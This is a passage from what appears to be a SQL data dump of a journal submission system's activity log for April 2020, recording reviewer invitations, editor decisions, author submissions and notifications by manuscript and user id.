Reviewer',3799,'Publisher',85),(30827,'2020-04-16 13:49:22','Publisher has Invited Reviewer',3799,'Publisher',85),(30828,'2020-04-16 13:49:24','Publisher has Invited Reviewer',3799,'Publisher',85),(30829,'2020-04-16 13:49:25','Publisher has Invited Reviewer',3799,'Publisher',85),(30830,'2020-04-16 13:49:26','Publisher has Invited Reviewer',3799,'Publisher',85),(30833,'2020-04-16 14:17:25','Publisher : Notified Editor',3713,'Publisher',85),(30834,'2020-04-16 14:18:25','Editor has Accepted to review Manuscript',3713,'Editor',203),(30835,'2020-04-16 14:18:43','Editor has been Editor Decision Accepted article',3713,'Editor',203),(30836,'2020-04-16 14:21:44','Publisher has been Assigned Editor',3809,'Publisher',48),(30902,'2020-04-16 17:55:10','Publisher has Invited Reviewer',3809,'Publisher',48),(30903,'2020-04-16 17:55:11','Publisher has Invited Reviewer',3809,'Publisher',48),(30905,'2020-04-16 18:01:08','Publisher: Accept Notification has been sent to Author',3713,'Publisher',85),(30906,'2020-04-16 18:03:47','Publisher has been Assigned Editor',3812,'Publisher',85),(30929,'2020-04-17 02:49:04','Reviewer has submitted comments',3780,'Reviewer',11714),(30950,'2020-04-17 13:25:05','Publisher has Invited Reviewer',3812,'Publisher',85),(30951,'2020-04-17 13:25:06','Publisher has Invited Reviewer',3812,'Publisher',85),(30952,'2020-04-17 13:25:07','Publisher has Invited Reviewer',3812,'Publisher',85),(30953,'2020-04-17 13:25:09','Publisher has Invited Reviewer',3812,'Publisher',85),(30954,'2020-04-17 13:25:10','Publisher has Invited Reviewer',3812,'Publisher',85),(30955,'2020-04-17 13:25:11','Publisher has Invited Reviewer',3812,'Publisher',85),(30956,'2020-04-17 13:25:13','Publisher has Invited Reviewer',3812,'Publisher',85),(30957,'2020-04-17 13:25:14','Publisher has Invited Reviewer',3812,'Publisher',85),(30958,'2020-04-17 13:25:15','Publisher has Invited Reviewer',3812,'Publisher',85),(30959,'2020-04-17 13:25:18','Publisher has Invited Reviewer',3812,'Publisher',85),(30960,'2020-04-17 13:25:19','Publisher has Invited Reviewer',3812,'Publisher',85),(30961,'2020-04-17 13:25:20','Publisher has Invited Reviewer',3812,'Publisher',85),(30962,'2020-04-17 13:25:22','Publisher has Invited Reviewer',3812,'Publisher',85),(30963,'2020-04-17 13:25:23','Publisher has Invited Reviewer',3812,'Publisher',85),(30964,'2020-04-17 13:25:24','Publisher has Invited Reviewer',3812,'Publisher',85),(30965,'2020-04-17 13:25:26','Publisher has Invited Reviewer',3812,'Publisher',85),(30966,'2020-04-17 13:25:27','Publisher has Invited Reviewer',3812,'Publisher',85),(30967,'2020-04-17 13:25:28','Publisher has Invited Reviewer',3812,'Publisher',85),(30968,'2020-04-17 13:25:29','Publisher has Invited Reviewer',3812,'Publisher',85),(30969,'2020-04-17 13:25:30','Publisher has Invited Reviewer',3812,'Publisher',85),(30970,'2020-04-17 13:27:45','Publisher has Invited Reviewer',3791,'Publisher',85),(30971,'2020-04-17 13:32:26','Reviewer has submitted comments',3546,'Reviewer',12023),(30999,'2020-04-17 16:48:44','Publisher has been Assigned Editor',3808,'Publisher',75),(31016,'2020-04-18 05:46:01','Manuscript Submitted by Author using Submission form',3823,'Author',5004),(31033,'2020-04-18 10:12:56','Manuscript Submitted by Author using Submission form',3824,'Author',5005),(31036,'2020-04-18 10:57:28','Editor has Accepted to review Manuscript',3785,'Editor',194),(31037,'2020-04-18 10:57:39','Editor has been Revise (Notify Author) article',3785,'Editor',194),(31038,'2020-04-18 10:57:46','Editor has Accepted to review Manuscript',3780,'Editor',194),(31039,'2020-04-18 10:58:00','Editor has been Revise (Notify Author) article',3780,'Editor',194),(31040,'2020-04-18 10:58:22','Editor has been Revise (Notify Author) article',3780,'Editor',194),(31041,'2020-04-18 10:59:22','Editor has Accepted to review Manuscript',3628,'Editor',194),(31042,'2020-04-18 10:59:33','Editor has been Editor Decision Accepted article',3628,'Editor',194),(31043,'2020-04-18 10:59:52','Editor has Accepted to review Manuscript',3593,'Editor',194),(31044,'2020-04-18 11:00:04','Editor has been Revise (Notify Author) article',3593,'Editor',194),(31045,'2020-04-18 11:00:20','Editor has been Editor Decision Accepted article',3488,'Editor',194),(31046,'2020-04-18 11:00:51','Editor has Accepted to review Manuscript',2651,'Editor',194),(31047,'2020-04-18 11:01:37','Editor has been Editor Decision Accepted article',2651,'Editor',194),(31048,'2020-04-18 11:02:17','Editor has Accepted to review Manuscript',3293,'Editor',194),(31049,'2020-04-18 11:02:39','Editor has been Editor Decision Accepted article',3293,'Editor',194),(31050,'2020-04-18 11:03:40','Publisher : Notified Author',3785,'Publisher',48),(31051,'2020-04-18 11:04:00','Publisher : Notified Author',3780,'Publisher',48),(31052,'2020-04-18 11:04:24','Publisher : Notified Author',3593,'Publisher',48),(31054,'2020-04-18 12:11:29','Manuscript Submitted by Author using Submission form',3825,'Author',5006),(31077,'2020-04-18 22:45:56','Manuscript Submitted by Author using Submission form',3830,'Author',5015),(31078,'2020-04-18 23:01:33','Manuscript Submitted by Author using Submission form',3831,'Author',5016),(31083,'2020-04-19 00:14:05','Reviewer has updated comments',3785,'Reviewer',11714),(31084,'2020-04-19 00:28:32','Reviewer has updated comments',3785,'Reviewer',11714),(31094,'2020-04-19 12:30:59','Manuscript Submitted by Author using Submission form',3833,'Author',5019),(31097,'2020-04-19 17:32:22','Manuscript Submitted by Author using Submission form',3835,'Author',5021),(31102,'2020-04-20 09:00:44','Publisher has been Assigned Editor',3823,'Publisher',85),(31103,'2020-04-20 09:26:04','Publisher has been Assigned Editor',3824,'Publisher',274),(31128,'2020-04-20 10:38:44','Manuscript has been Revised',3785,'Author',4820),(31161,'2020-04-20 12:54:22','Publisher has Invited Reviewer',3577,'Publisher',84),(31162,'2020-04-20 13:03:55','Reviewer has submitted comments',3577,'Reviewer',12322),(31163,'2020-04-20 13:06:32','Publisher : Notified Editor',3577,'Publisher',84),(31164,'2020-04-20 13:07:08','Publisher : Notified Editor',3577,'Publisher',84),(31165,'2020-04-20 13:08:27','Editor has Accepted to review Manuscript',3577,'Editor',221),(31166,'2020-04-20 13:08:39','Editor has been Revise (Notify Author) article',3577,'Editor',221),(31167,'2020-04-20 13:09:32','Publisher : Notified Author',3577,'Publisher',84),(31168,'2020-04-20 13:09:49','Publisher : Notified Editor',3753,'Publisher',84),(31169,'2020-04-20 13:12:38','Editor has been Editor Decision Accepted article',3753,'Editor',222),(31170,'2020-04-20 13:13:50','Publisher: Accept Notification has been sent to Author',3753,'Publisher',84),(31171,'2020-04-20 13:19:32','Publisher has been Assigned Editor',3831,'Publisher',85),(31172,'2020-04-20 13:24:40','Publisher has been Assigned Editor',3830,'Publisher',85),(31212,'2020-04-20 14:34:20','Publisher has Invited Reviewer',3823,'Publisher',85),(31213,'2020-04-20 14:34:21','Publisher has Invited Reviewer',3823,'Publisher',85),(31214,'2020-04-20 14:34:22','Publisher has Invited Reviewer',3823,'Publisher',85),(31215,'2020-04-20 14:34:24','Publisher has Invited Reviewer',3823,'Publisher',85),(31216,'2020-04-20 14:34:25','Publisher has Invited Reviewer',3823,'Publisher',85),(31217,'2020-04-20 14:34:27','Publisher has Invited Reviewer',3823,'Publisher',85),(31218,'2020-04-20 14:34:28','Publisher has Invited Reviewer',3823,'Publisher',85),(31219,'2020-04-20 14:34:29','Publisher has Invited Reviewer',3823,'Publisher',85),(31220,'2020-04-20 14:34:30','Publisher has Invited Reviewer',3823,'Publisher',85),(31221,'2020-04-20 14:34:36','Publisher has Invited Reviewer',3823,'Publisher',85),(31222,'2020-04-20 14:38:56','Publisher has Invited Reviewer',3830,'Publisher',85),(31223,'2020-04-20 14:38:58','Publisher has Invited Reviewer',3830,'Publisher',85),(31224,'2020-04-20 14:39:00','Publisher has Invited Reviewer',3830,'Publisher',85),(31225,'2020-04-20 14:39:01','Publisher has Invited Reviewer',3830,'Publisher',85),(31226,'2020-04-20 14:39:02','Publisher has Invited Reviewer',3830,'Publisher',85),(31227,'2020-04-20 14:39:04','Publisher has Invited Reviewer',3830,'Publisher',85),(31228,'2020-04-20 14:39:05','Publisher has Invited Reviewer',3830,'Publisher',85),(31229,'2020-04-20 14:39:06','Publisher has Invited Reviewer',3830,'Publisher',85),(31230,'2020-04-20 14:39:08','Publisher has Invited Reviewer',3830,'Publisher',85),(31231,'2020-04-20 14:39:09','Publisher has Invited Reviewer',3830,'Publisher',85),(31232,'2020-04-20 14:39:10','Publisher has Invited Reviewer',3830,'Publisher',85),(31233,'2020-04-20 14:40:38','Publisher has Invited Reviewer',3831,'Publisher',85),(31234,'2020-04-20 14:40:39','Publisher has Invited Reviewer',3831,'Publisher',85),(31235,'2020-04-20 14:40:40','Publisher has Invited Reviewer',3831,'Publisher',85),(31236,'2020-04-20 14:40:42','Publisher has Invited Reviewer',3831,'Publisher',85),(31237,'2020-04-20 14:40:43','Publisher has Invited Reviewer',3831,'Publisher',85),(31238,'2020-04-20 14:40:45','Publisher has Invited Reviewer',3831,'Publisher',85),(31239,'2020-04-20 14:40:46','Publisher has Invited Reviewer',3831,'Publisher',85),(31240,'2020-04-20 14:40:47','Publisher has Invited Reviewer',3831,'Publisher',85),(31241,'2020-04-20 14:40:49','Publisher has Invited Reviewer',3831,'Publisher',85),(31242,'2020-04-20 14:40:50','Publisher has Invited Reviewer',3831,'Publisher',85),(31243,'2020-04-20 14:40:52','Publisher has Invited Reviewer',3831,'Publisher',85),(31244,'2020-04-20 14:40:53','Publisher has Invited Reviewer',3831,'Publisher',85),(31245,'2020-04-20 14:40:55','Publisher has Invited Reviewer',3831,'Publisher',85),(31273,'2020-04-20 17:53:49','Publisher has Invited Reviewer',3777,'Publisher',85),(31274,'2020-04-20 17:53:50','Publisher has Invited Reviewer',3777,'Publisher',85),(31275,'2020-04-20 17:53:51','Publisher has Invited Reviewer',3777,'Publisher',85),(31276,'2020-04-20 17:53:53','Publisher has Invited Reviewer',3777,'Publisher',85),(31278,'2020-04-20 18:34:54','Publisher has Invited Reviewer',3777,'Publisher',85),(31279,'2020-04-20 18:34:55','Publisher has Invited Reviewer',3777,'Publisher',85),(31280,'2020-04-20 18:34:57','Publisher has Invited Reviewer',3777,'Publisher',85),(31281,'2020-04-20 18:35:03','Publisher has Invited Reviewer',3777,'Publisher',85),(31282,'2020-04-20 18:35:04','Publisher has Invited Reviewer',3777,'Publisher',85),(31283,'2020-04-20 18:35:05','Publisher has Invited Reviewer',3777,'Publisher',85),(31284,'2020-04-20 18:35:06','Publisher has Invited Reviewer',3777,'Publisher',85),(31285,'2020-04-20 18:35:07','Publisher has Invited Reviewer',3777,'Publisher',85),(31286,'2020-04-20 19:05:21','Publisher has Invited Reviewer',3823,'Publisher',85),(31287,'2020-04-20 19:05:38','Publisher has Invited Reviewer',3823,'Publisher',85),(31288,'2020-04-20 19:05:39','Publisher has Invited Reviewer',3823,'Publisher',85),(31289,'2020-04-20 19:05:41','Publisher has Invited Reviewer',3823,'Publisher',85),(31290,'2020-04-20 19:05:42','Publisher has Invited Reviewer',3823,'Publisher',85),(31291,'2020-04-20 19:13:06','Publisher has Invited Reviewer',3799,'Publisher',85),(31292,'2020-04-20 19:13:07','Publisher has Invited Reviewer',3799,'Publisher',85),(31294,'2020-04-20 19:13:08','Publisher has Invited Reviewer',3799,'Publisher',85),(31295,'2020-04-20 19:13:10','Publisher has Invited Reviewer',3799,'Publisher',85),(31296,'2020-04-20 19:13:11','Publisher has Invited Reviewer',3799,'Publisher',85),(31297,'2020-04-20 19:13:12','Publisher has Invited Reviewer',3799,'Publisher',85),(31298,'2020-04-20 19:13:13','Publisher has Invited Reviewer',3799,'Publisher',85),(31299,'2020-04-20 19:13:14','Publisher has Invited Reviewer',3799,'Publisher',85),(31300,'2020-04-20 19:13:15','Publisher has Invited Reviewer',3799,'Publisher',85),(31301,'2020-04-20 19:13:16','Publisher has Invited Reviewer',3799,'Publisher',85),(31302,'2020-04-20 19:32:41','Editor has been Editor Decision Accepted article',3785,'Editor',194),(31303,'2020-04-20 19:32:52','Publisher has Invited Reviewer',3791,'Publisher',85),(31304,'2020-04-20 19:32:53','Publisher has Invited Reviewer',3791,'Publisher',85),(31305,'2020-04-20 19:32:54','Publisher has Invited Reviewer',3791,'Publisher',85),(31306,'2020-04-20 19:32:55','Publisher has Invited Reviewer',3791,'Publisher',85),(31307,'2020-04-20 19:34:10','Publisher has Invited Reviewer',3791,'Publisher',85),(31308,'2020-04-20 19:34:29','Publisher: Accept Notification has been sent to Author',3785,'Publisher',48),(31309,'2020-04-20 19:36:09','Publisher has Invited Reviewer',3791,'Publisher',85),(31310,'2020-04-20 19:44:35','Publisher has Invited Reviewer',3787,'Publisher',85),(31311,'2020-04-20 19:45:02','Publisher has Invited Reviewer',3787,'Publisher',85),(31312,'2020-04-20 19:45:04','Publisher has Invited Reviewer',3787,'Publisher',85),(31313,'2020-04-20 19:45:05','Publisher has Invited Reviewer',3787,'Publisher',85),(31314,'2020-04-20 19:45:06','Publisher has Invited Reviewer',3787,'Publisher',85),(31315,'2020-04-20 19:45:07','Publisher has Invited Reviewer',3787,'Publisher',85),(31316,'2020-04-20 19:45:09','Publisher has Invited Reviewer',3787,'Publisher',85),(31317,'2020-04-20 19:45:10','Publisher has Invited Reviewer',3787,'Publisher',85),(31318,'2020-04-20 19:45:11','Publisher has Invited Reviewer',3787,'Publisher',85),(31327,'2020-04-21 00:16:39','Reviewer has submitted comments',3823,'Reviewer',8997),(31328,'2020-04-21 00:17:00','Reviewer has updated comments',3823,'Reviewer',8997),(31332,'2020-04-21 02:09:42','Manuscript Submitted by Author using Submission form',3851,'Author',5039),(31382,'2020-04-21 13:44:17','Manuscript Submitted by Author using Submission form',3854,'Author',5044),(31390,'2020-04-21 16:16:23','Publisher has been Assigned Editor',3833,'Publisher',75),(31405,'2020-04-21 16:59:54','Publisher : Notified Editor',3823,'Publisher',85),(31406,'2020-04-21 17:00:54','Editor has Accepted to review Manuscript',3823,'Editor',1251),(31407,'2020-04-21 17:01:12','Editor has been Editor Decision Accepted article',3823,'Editor',1251),(31427,'2020-04-21 18:05:14','Publisher has Invited Reviewer',3798,'Publisher',84),(31428,'2020-04-21 18:05:16','Publisher has Invited Reviewer',3798,'Publisher',84),(31429,'2020-04-21 18:05:17','Publisher has Invited Reviewer',3798,'Publisher',84),(31430,'2020-04-21 18:05:20','Publisher has Invited Reviewer',3798,'Publisher',84),(31431,'2020-04-21 18:05:21','Publisher has Invited Reviewer',3798,'Publisher',84),(31432,'2020-04-21 18:05:23','Publisher has Invited Reviewer',3798,'Publisher',84),(31433,'2020-04-21 18:05:24','Publisher has Invited Reviewer',3798,'Publisher',84),(31434,'2020-04-21 18:05:25','Publisher has Invited Reviewer',3798,'Publisher',84),(31435,'2020-04-21 18:05:26','Publisher has Invited Reviewer',3798,'Publisher',84),(31436,'2020-04-21 18:05:28','Publisher has Invited Reviewer',3798,'Publisher',84),(31437,'2020-04-21 18:06:16','Publisher has Invited Reviewer',3804,'Publisher',84),(31438,'2020-04-21 18:06:17','Publisher has Invited Reviewer',3804,'Publisher',84),(31439,'2020-04-21 18:06:19','Publisher has Invited Reviewer',3804,'Publisher',84),(31440,'2020-04-21 18:06:20','Publisher has Invited Reviewer',3804,'Publisher',84),(31441,'2020-04-21 18:06:21','Publisher has Invited Reviewer',3804,'Publisher',84),(31442,'2020-04-21 18:06:22','Publisher has Invited Reviewer',3804,'Publisher',84),(31443,'2020-04-21 18:06:23','Publisher has Invited Reviewer',3804,'Publisher',84),(31444,'2020-04-21 18:06:25','Publisher has Invited Reviewer',3804,'Publisher',84),(31445,'2020-04-21 18:06:26','Publisher has Invited Reviewer',3804,'Publisher',84),(31446,'2020-04-21 18:06:27','Publisher has Invited Reviewer',3804,'Publisher',84),(31458,'2020-04-21 21:53:06','Manuscript has been Revised',3780,'Author',4952),(31459,'2020-04-21 21:53:27','Manuscript has been Revised',3780,'Author',4952),(31460,'2020-04-21 21:53:56','Manuscript has been Revised',3780,'Author',4952),(31461,'2020-04-21 21:54:59','Manuscript has been Revised',3780,'Author',4952),(31463,'2020-04-21 22:19:43','Manuscript Submitted by Author using Submission form',3860,'Author',5048),(31464,'2020-04-21 22:23:03','Reviewer has submitted comments',3809,'Reviewer',11714),(31466,'2020-04-21 23:25:17','Author sent Email',3780,'Author',4952),(31467,'2020-04-21 23:34:38','Reviewer has submitted comments',3798,'Reviewer',12403),(31468,'2020-04-21 23:53:11','Reviewer has submitted comments',3804,'Reviewer',12403),(31471,'2020-04-22 01:50:19','Author sent Email',3780,'Author',4952),(31477,'2020-04-22 09:22:08','Editor has Accepted to review Manuscript',3833,'Editor',160),(31478,'2020-04-22 09:23:22','Editor has Invited Reviewer',3833,'Editor',160),(31479,'2020-04-22 09:23:23','Editor has Invited Reviewer',3833,'Editor',160),(31480,'2020-04-22 09:23:25','Editor has Invited Reviewer',3833,'Editor',160),(31481,'2020-04-22 09:23:26','Editor has Invited Reviewer',3833,'Editor',160),(31482,'2020-04-22 09:23:27','Editor has Invited Reviewer',3833,'Editor',160),(31485,'2020-04-22 09:40:57','Publisher : Notified Editor',3804,'Publisher',84),(31502,'2020-04-22 10:33:43','Editor has Accepted to review Manuscript',3804,'Editor',222),(31503,'2020-04-22 10:35:42','Editor has Accepted to review Manuscript',3798,'Editor',222),(31516,'2020-04-22 11:01:03','Editor has been Revise (Notify Author) article',3804,'Editor',222),(31517,'2020-04-22 11:01:12','Editor has been Revise (Notify Author) article',3798,'Editor',222),(31520,'2020-04-22 11:27:37','Publisher: Accept Notification has been sent to Author',3823,'Publisher',85),(31521,'2020-04-22 11:29:27','Publisher has been Assigned Editor',3854,'Publisher',376),(31523,'2020-04-22 11:37:42','Publisher : Notified Author',3804,'Publisher',84),(31524,'2020-04-22 11:38:16','Publisher : Notified Author',3798,'Publisher',84),(31525,'2020-04-22 11:39:17','Publisher : Notified Author',3577,'Publisher',84),(31545,'2020-04-22 12:06:35','Publisher has been Assigned Editor',3851,'Publisher',984),(31546,'2020-04-22 12:11:44','Publisher has been Withdrawn  article',3775,'Publisher',984),(31547,'2020-04-22 12:12:28','Publisher has Invited Reviewer',3851,'Publisher',984),(31548,'2020-04-22 12:12:29','Publisher has Invited Reviewer',3851,'Publisher',984),(31549,'2020-04-22 12:12:30','Publisher has Invited Reviewer',3851,'Publisher',984),(31550,'2020-04-22 12:12:32','Publisher has Invited Reviewer',3851,'Publisher',984),(31551,'2020-04-22 12:12:32','Publisher has Invited Reviewer',3851,'Publisher',984),(31552,'2020-04-22 12:12:33','Publisher has Invited Reviewer',3851,'Publisher',984),(31553,'2020-04-22 12:12:34','Publisher has Invited Reviewer',3851,'Publisher',984),(31554,'2020-04-22 12:12:35','Publisher has Invited Reviewer',3851,'Publisher',984),(31555,'2020-04-22 12:12:35','Publisher has Invited Reviewer',3851,'Publisher',984),(31560,'2020-04-22 12:22:45','Publisher has Invited Reviewer',3644,'Publisher',376),(31568,'2020-04-22 12:32:48','Publisher has Invited Reviewer',3529,'Publisher',376),(31571,'2020-04-22 12:52:06','Publisher has been Assigned Editor',3825,'Publisher',248),(31572,'2020-04-22 13:08:55','Reviewer has submitted comments',3529,'Reviewer',9537),(31573,'2020-04-22 14:00:12','Publisher : Notified Editor',3529,'Publisher',376),(31589,'2020-04-22 16:53:30','Publisher : Notified Author',3577,'Publisher',84),(31601,'2020-04-22 19:20:26','Reviewer has submitted comments',3851,'Reviewer',10967),(31608,'2020-04-22 20:32:00','Reviewer has submitted comments',3777,'Reviewer',9532),(31609,'2020-04-22 20:33:51','Reviewer has updated comments',3777,'Reviewer',9532),(31610,'2020-04-22 20:33:58','Reviewer has updated comments',3777,'Reviewer',9532),(31611,'2020-04-22 22:14:04','Manuscript Submitted by Author using Submission form',3863,'Author',5055),(31612,'2020-04-22 23:40:51','Manuscript Submitted by Author using Submission form',3864,'Author',5056),(31615,'2020-04-23 06:53:17','Manuscript Submitted by Author',3867,'Author',5049),(31617,'2020-04-23 08:02:24','Reviewer has submitted comments',3644,'Reviewer',7021),(31625,'2020-04-23 09:51:42','Publisher : Notified Editor',3777,'Publisher',85),(31626,'2020-04-23 09:52:50','Editor has Accepted to review Manuscript',3777,'Editor',204),(31628,'2020-04-23 09:53:24','Editor has been Revise (Notify Author) article',3777,'Editor',204),(31629,'2020-04-23 09:54:46','Publisher : Notified Author',3777,'Publisher',85),(31633,'2020-04-23 10:48:38','Manuscript Submitted by Publisher',3870,'Publisher',48),(31634,'2020-04-23 10:48:48','Publisher has been Assigned Editor',3870,'Publisher',48),(31640,'2020-04-23 10:49:05','Publisher has Invited Reviewer',3870,'Publisher',48),(31644,'2020-04-23 10:50:20','Publisher has Invited Reviewer',3870,'Publisher',48),(31645,'2020-04-23 10:50:21','Publisher has Invited Reviewer',3870,'Publisher',48),(31649,'2020-04-23 11:05:25','Publisher has been Assigned Editor',3867,'Publisher',274),(31652,'2020-04-23 12:21:23','Manuscript has been Revised',3777,'Author',4945),(31655,'2020-04-23 13:59:44','Editor has Accepted to review Manuscript',3698,'Editor',1235),(31656,'2020-04-23 14:00:06','Editor has been Revise (Notify Author) article',3698,'Editor',1235),(31657,'2020-04-23 14:00:55','Publisher : Notified Author',3698,'Publisher',274),(31667,'2020-04-23 16:09:53','Reviewer has submitted comments',3577,'Reviewer',5794),(31668,'2020-04-23 16:09:54','Reviewer has submitted comments',3577,'Reviewer',5794),(31669,'2020-04-23 16:10:20','Reviewer has updated comments',3577,'Reviewer',5794),(31670,'2020-04-23 16:16:22','Publisher has been Assigned Editor',3863,'Publisher',85),(31671,'2020-04-23 16:21:23','Manuscript Submitted by Publisher',3874,'Publisher',85),(31672,'2020-04-23 16:22:05','Publisher has been Assigned Editor',3874,'Publisher',85),(31673,'2020-04-23 16:28:15','Publisher has Invited Reviewer',3874,'Publisher',85),(31674,'2020-04-23 16:28:17','Publisher has Invited Reviewer',3874,'Publisher',85),(31675,'2020-04-23 16:28:18','Publisher has Invited Reviewer',3874,'Publisher',85),(31676,'2020-04-23 16:28:19','Publisher has Invited Reviewer',3874,'Publisher',85),(31677,'2020-04-23 16:28:20','Publisher has Invited Reviewer',3874,'Publisher',85),(31678,'2020-04-23 16:28:21','Publisher has Invited Reviewer',3874,'Publisher',85),(31679,'2020-04-23 16:28:22','Publisher has Invited Reviewer',3874,'Publisher',85),(31680,'2020-04-23 16:28:23','Publisher has Invited Reviewer',3874,'Publisher',85),(31681,'2020-04-23 16:28:30','Publisher has Invited Reviewer',3874,'Publisher',85),(31682,'2020-04-23 16:28:31','Publisher has Invited Reviewer',3874,'Publisher',85),(31683,'2020-04-23 16:28:41','Publisher has Invited Reviewer',3874,'Publisher',85),(31684,'2020-04-23 16:28:42','Publisher has Invited Reviewer',3874,'Publisher',85),(31685,'2020-04-23 16:28:43','Publisher has Invited Reviewer',3874,'Publisher',85),(31686,'2020-04-23 16:28:44','Publisher has Invited Reviewer',3874,'Publisher',85),(31687,'2020-04-23 16:28:45','Publisher has Invited Reviewer',3874,'Publisher',85),(31688,'2020-04-23 16:31:15','Publisher : Notified Editor',3777,'Publisher',85),(31691,'2020-04-23 17:05:22','Publisher has Invited Reviewer',3863,'Publisher',85),(31692,'2020-04-23 17:05:23','Publisher has Invited Reviewer',3863,'Publisher',85),(31693,'2020-04-23 17:05:24','Publisher has Invited Reviewer',3863,'Publisher',85),(31694,'2020-04-23 17:05:25','Publisher has Invited Reviewer',3863,'Publisher',85),(31695,'2020-04-23 17:05:27','Publisher has Invited Reviewer',3863,'Publisher',85),(31696,'2020-04-23 17:05:28','Publisher has Invited Reviewer',3863,'Publisher',85),(31697,'2020-04-23 17:05:29','Publisher has Invited Reviewer',3863,'Publisher',85),(31698,'2020-04-23 17:05:30','Publisher has Invited Reviewer',3863,'Publisher',85),(31699,'2020-04-23 17:05:31','Publisher has Invited Reviewer',3863,'Publisher',85),(31700,'2020-04-23 17:05:32','Publisher has Invited Reviewer',3863,'Publisher',85),(31701,'2020-04-23 17:05:34','Publisher has Invited Reviewer',3863,'Publisher',85),(31702,'2020-04-23 17:05:35','Publisher has Invited Reviewer',3863,'Publisher',85),(31703,'2020-04-23 17:05:37','Publisher has Invited Reviewer',3863,'Publisher',85),(31723,'2020-04-24 00:35:13','Manuscript Submitted by Author using Submission form',3880,'Author',5074),(31725,'2020-04-24 01:27:01','Manuscript Submitted by Author',3882,'Author',5066),(31728,'2020-04-24 03:10:35','Reviewer has submitted comments',3577,'Reviewer',10854),(31730,'2020-04-24 09:23:03','Publisher : Notified Author',3577,'Publisher',84),(31731,'2020-04-24 09:30:07','Publisher has been Assigned Editor',3864,'Publisher',376),(31732,'2020-04-24 09:47:35','Publisher has Invited Reviewer',3808,'Publisher',75),(31733,'2020-04-24 09:47:37','Publisher has Invited Reviewer',3808,'Publisher',75),(31734,'2020-04-24 09:47:38','Publisher has Invited Reviewer',3808,'Publisher',75),(31735,'2020-04-24 09:47:39','Publisher has Invited Reviewer',3808,'Publisher',75),(31736,'2020-04-24 09:47:40','Publisher has Invited Reviewer',3808,'Publisher',75),(31737,'2020-04-24 09:47:41','Publisher has Invited Reviewer',3808,'Publisher',75),(31738,'2020-04-24 09:47:43','Publisher has Invited Reviewer',3808,'Publisher',75),(31757,'2020-04-24 10:54:45','Editor has Accepted to review Manuscript',3672,'Editor',194),(31758,'2020-04-24 10:55:01','Editor has been Editor Decision Accepted article',3672,'Editor',194),(31759,'2020-04-24 10:55:42','Publisher: Accept Notification has been sent to Author',3672,'Publisher',48),(31776,'2020-04-24 12:06:11','Publisher has Invited Reviewer',3864,'Publisher',376),(31777,'2020-04-24 12:06:22','Publisher has Invited Reviewer',3864,'Publisher',376),(31778,'2020-04-24 12:06:24','Publisher has Invited Reviewer',3864,'Publisher',376),(31779,'2020-04-24 12:06:45','Publisher has Invited Reviewer',3864,'Publisher',376),(31780,'2020-04-24 12:06:54','Publisher has Invited Reviewer',3864,'Publisher',376),(31781,'2020-04-24 12:07:36','Publisher has Invited Reviewer',3864,'Publisher',376),(31793,'2020-04-24 14:12:28','Editor has been Editor Decision Accepted article',3728,'Editor',1067),(31794,'2020-04-24 15:35:26','Editor has been Editor Decision Accepted article',3777,'Editor',204),(31795,'2020-04-24 15:36:28','Publisher: Accept Notification has been sent to Author',3777,'Publisher',85),(31806,'2020-04-24 17:55:30','Manuscript Submitted by Author using Submission form',3886,'Author',5079),(31812,'2020-04-24 22:19:15','Manuscript Submitted by Author using Submission form',3888,'Author',5082),(31813,'2020-04-24 22:46:30','Reviewer has submitted comments',3863,'Reviewer',9532),(31826,'2020-04-25 10:53:48','Publisher has been Assigned Editor',3886,'Publisher',48),(31827,'2020-04-25 10:55:20','Publisher has Invited Reviewer',3886,'Publisher',48),(31828,'2020-04-25 10:56:39','Publisher has Invited Reviewer',3886,'Publisher',48),(31829,'2020-04-25 10:56:40','Publisher has Invited Reviewer',3886,'Publisher',48),(31830,'2020-04-25 10:56:41','Publisher has Invited Reviewer',3886,'Publisher',48),(31831,'2020-04-25 10:56:43','Publisher has Invited Reviewer',3886,'Publisher',48),(31851,'2020-04-25 12:03:20','Publisher has Invited Reviewer',3833,'Publisher',75),(31852,'2020-04-25 12:03:21','Publisher has Invited Reviewer',3833,'Publisher',75),(31853,'2020-04-25 12:03:23','Publisher has Invited Reviewer',3833,'Publisher',75),(31854,'2020-04-25 12:03:24','Publisher has Invited Reviewer',3833,'Publisher',75),(31855,'2020-04-25 12:03:25','Publisher has Invited Reviewer',3833,'Publisher',75),(31857,'2020-04-25 12:06:22','Reviewer has submitted comments',3886,'Reviewer',11519),(31865,'2020-04-25 12:43:40','Publisher : Notified Editor',3863,'Publisher',85),(31866,'2020-04-25 12:44:30','Editor has Accepted to review Manuscript',3863,'Editor',203),(31867,'2020-04-25 12:44:54','Editor has been Revise (Notify Author) article',3863,'Editor',203),(31868,'2020-04-25 12:45:43','Publisher : Notified Author',3863,'Publisher',85),(31884,'2020-04-25 15:45:29','Manuscript Submitted by Author',3894,'Author',4360),(31887,'2020-04-25 18:34:16','Manuscript has been Revised',3863,'Author',5055),(31890,'2020-04-25 20:54:42','Manuscript Submitted by Author using Submission form',3898,'Author',5091),(31900,'2020-04-26 18:39:35','Manuscript Submitted by Author',3902,'Author',5098),(31903,'2020-04-26 19:53:06','Reviewer has submitted comments',3808,'Reviewer',11876),(31908,'2020-04-27 08:56:07','Publisher has been Assigned Editor',3862,'Publisher',248),(31909,'2020-04-27 08:58:49','Publisher has been Withdrawn  article',3644,'Publisher',376),(31915,'2020-04-27 09:42:18','Editor has Accepted to review Manuscript',3886,'Editor',194),(31916,'2020-04-27 09:42:29','Editor has been Editor Decision Accepted article',3886,'Editor',194),(31917,'2020-04-27 09:42:41','Editor has Accepted to review Manuscript',3870,'Editor',194),(31918,'2020-04-27 09:42:51','Editor has been Editor Decision Accepted article',3870,'Editor',194),(31919,'2020-04-27 09:43:59','Publisher: Accept Notification has been sent to Author',3886,'Publisher',48),(31920,'2020-04-27 09:44:13','Publisher: Accept Notification has been sent to Author',3870,'Publisher',48),(31921,'2020-04-27 09:45:20','Reviewer has submitted comments',3864,'Reviewer',7021),(31923,'2020-04-27 10:22:53','Publisher has Invited Reviewer',3831,'Publisher',85),(31924,'2020-04-27 10:22:54','Publisher has Invited Reviewer',3831,'Publisher',85),(31925,'2020-04-27 10:22:55','Publisher has Invited Reviewer',3831,'Publisher',85),(31926,'2020-04-27 10:22:56','Publisher has Invited Reviewer',3831,'Publisher',85),(31927,'2020-04-27 10:22:56','Publisher has Invited Reviewer',3831,'Publisher',85),(31928,'2020-04-27 10:22:57','Publisher has Invited Reviewer',3831,'Publisher',85),(31929,'2020-04-27 10:22:58','Publisher has Invited Reviewer',3831,'Publisher',85),(31930,'2020-04-27 10:22:59','Publisher has 